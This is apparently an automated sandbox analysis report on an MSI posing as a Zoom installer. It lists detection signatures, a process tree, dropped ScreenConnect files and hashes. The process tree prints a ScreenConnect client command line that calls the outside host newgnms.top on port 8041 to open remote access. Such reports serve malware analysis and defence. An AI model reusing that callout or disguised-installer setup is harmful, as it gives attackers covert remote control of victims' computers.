Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    22/05/2026, 12:16

General

  • Target
    ZoomWorkspace.msi
  • Size 12.9MB
  • Sample260522-pflylaax8m
  • SHA256 8c90653cfd88ee763a8fe78700b5dbf96053c90b2e54fff3ebf86ce7076f3daf
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 30 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 13 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ZoomWorkspace.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:2364
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:524
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding A3B5A26E3DC9C4069F79621281DBAE13 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4792
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI6D2C.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240676359 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2464
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2892
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 4073FDC8FA8F1D34D0BC9D3101EA00C5
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1808
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 43F8B9CAB5BD0AA080EF8A82E0714D27 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:4184
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:432
    • C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=newgnms.top&p=8041&s=aff69d05-e248-41da-8a7d-22f556b6861b&k=BgIAAACkAABSU0ExAAgAAAEAAQDVUfFqsQr0tWl86KGSz58dd7kmbHKKjh0tzhXnGW93ReuN%2fL27p%2bf6UUl8t%2bait6qSM%2byJRlpytYT3xmsbJ0RRNs1EnQ3jpeJdkLryNlgsbNgN%2fXkv3zWQURAmRM5Cy5pqw10jgUxZHtC%2bhcEYv1r%2fAMYKQSxLsIpXgoGCvhfPeRNTydgQa%2fAEXUG31iG%2ftFry7fFLYjBVt2BdxOaoLr%2fc3xhLz0fxHZV5bstCTvcO1aZwYXLY28RpPFRJdF9z2sE4s1wEXSWo%2feBFu6RI4GVPwLm5FOkT8kyJ9%2b4No4n8FQQAEH%2bRAIIVyfJ8nIT7gNgf%2bpGLOuGHiSS7JSVXSKDt&c=adobe&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3828
      • C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\ScreenConnect.WindowsClient.exe" "RunRole" "a17fbe64-5707-4135-acaa-607d987024d3" "User"
        2⤵
        • Executes dropped EXE
        PID:4328
    • C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=newgnms.top&p=8041&s=aff69d05-e248-41da-8a7d-22f556b6861b&k=BgIAAACkAABSU0ExAAgAAAEAAQDVUfFqsQr0tWl86KGSz58dd7kmbHKKjh0tzhXnGW93ReuNfL27pbf6UUl8tbait6qSMbyJRlpytYT3xmsbJ0RRNs1EnQ3jpeJdkLryNlgsbNgNfXkv3zWQURAmRM5Cy5pqw10jgUxZHtCbhcEYv1rfAMYKQSxLsIpXgoGCvhfPeRNTydgQafAEXUG31iGftFry7fFLYjBVt2BdxOaoLrfc3xhLz0fxHZV5bstCTvcO1aZwYXLY28RpPFRJdF9z2sE4s1wEXSWofeBFu6RI4GVPwLm5FOkT8kyJ9b4No4n8FQQAEHbRAIIVyfJ8nIT7gNgfbpGLOuGHiSS7JSVXSKDt&c=adobe&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:1376
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1376 -s 1224
        2⤵
        • Program crash
        PID:748
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1376 -ip 1376
      1⤵
        PID:2184

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            e58b6e8.rbs

            • Path C:\Config.Msi\e58b6e8.rbs
            • Size 214KB
            • SHA256 6456a48fd61aed5eb79d26ea17dcc6ffab5b966c9701cc44bd7fee736c393c51
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.Override.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\Client.Override.en-US.resources
            • Size 298B
            • SHA256 ef989c4bd277b1849fd13dfe1cfcf5308c20e994190f74cd8604d8dfb8993ff2
            • MD5 SHA1 SHA512 TLSH

            Client.Override.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\Client.Override.resources
            • Size 40KB
            • SHA256 b6018ab4c594476acc5df46ae98944cb7dc0b4e20e913cadd13075570774fad2
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\Client.en-US.resources
            • Size 48KB
            • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\Client.resources
            • Size 28KB
            • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Client.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\ScreenConnect.Client.dll
            • Size 192KB
            • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\ScreenConnect.ClientService.dll
            • Size 66KB
            • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsAuthenticationPackage.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\ScreenConnect.WindowsClient.exe
            • Size 593KB
            • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe.config

            • Path C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\ScreenConnect.WindowsClient.exe.config
            • Size 266B
            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
            • MD5 SHA1 SHA512 TLSH

            ScreenConnect.WindowsCredentialProvider.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\ScreenConnect.WindowsCredentialProvider.dll
            • Size 837KB
            • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            app.config

            • Path C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\app.config
            • Size 1KB
            • SHA256 b5e7754b24d9e4e2f638be17b7f2ea2c3bb6f9ded1ce858f90a5dfe53019dad6
            • MD5 SHA1 SHA512 TLSH

            system.config

            • Path C:\Program Files (x86)\ScreenConnect Client (58f757e0115dae7f)\system.config
            • Size 945B
            • SHA256 28a29a38bd5826d07ef427ea46775ad29b0117180778fedd9ce5898b872ed8ef
            • MD5 SHA1 SHA512 TLSH

            MSI6D2C.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\MSI6D2C.tmp
            • Size 1.0MB
            • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Microsoft.Deployment.WindowsInstaller.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI6D2C.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI6D2C.tmp-\ScreenConnect.Core.dll
            • Size 538KB
            • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.InstallerActions.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI6D2C.tmp-\ScreenConnect.InstallerActions.dll
            • Size 11KB
            • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI6D2C.tmp-\ScreenConnect.Windows.dll
            • Size 1.6MB
            • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSIB85F.tmp

            • Path C:\Windows\Installer\MSIB85F.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH

            e58b6e7.msi

            • Path C:\Windows\Installer\e58b6e7.msi
            • Size 12.9MB
            • SHA256 8c90653cfd88ee763a8fe78700b5dbf96053c90b2e54fff3ebf86ce7076f3daf
            • MD5 SHA1 SHA512 SSDEEP TLSH

            metadata-2

            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 24.1MB
            • SHA256 a0f58de70e6c49c3434e975a3f3da2e8e4ae56929672224b1b3b830fb8f91e12
            • MD5 SHA1 SHA512 SSDEEP TLSH

            {3f5fc071-27ce-46b5-9b12-22c34594c89b}_OnDiskSnapshotProp

            • Path \??\Volume{d78106ee-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{3f5fc071-27ce-46b5-9b12-22c34594c89b}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 00f9aad32952dbddd7700ac009cffe1b1d550c6299baacf0adc4090ffcf3a8c8
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/2464-31-0x0000000005850000-0x0000000005DF4000-memory.dmp

            memory/2464-18-0x0000000004DD0000-0x0000000004DFE000-memory.dmp

            memory/2464-30-0x00000000050F0000-0x000000000529C000-memory.dmp

            memory/2464-26-0x0000000004EB0000-0x0000000004F3C000-memory.dmp

            memory/2464-22-0x0000000004E10000-0x0000000004E1A000-memory.dmp

            memory/3828-105-0x0000000004B40000-0x0000000004C15000-memory.dmp

            memory/3828-103-0x00000000048C0000-0x0000000004901000-memory.dmp

            memory/3828-100-0x0000000004820000-0x0000000004856000-memory.dmp

            memory/3828-101-0x0000000004960000-0x00000000049F2000-memory.dmp

            memory/3828-77-0x00000000042F0000-0x0000000004308000-memory.dmp

            memory/3828-96-0x0000000004870000-0x00000000048C0000-memory.dmp

            memory/4328-128-0x000000001CAE0000-0x000000001CC8C000-memory.dmp

            memory/4328-124-0x00000000002E0000-0x0000000000378000-memory.dmp

            memory/4328-129-0x000000001CC90000-0x000000001CE16000-memory.dmp

            memory/4328-130-0x0000000000B30000-0x0000000000B48000-memory.dmp

            memory/4328-132-0x000000001C4C0000-0x000000001C501000-memory.dmp

            memory/4328-131-0x0000000002360000-0x0000000002378000-memory.dmp

            memory/4328-126-0x000000001C8A0000-0x000000001C92C000-memory.dmp

            memory/4328-125-0x0000000002320000-0x0000000002356000-memory.dmp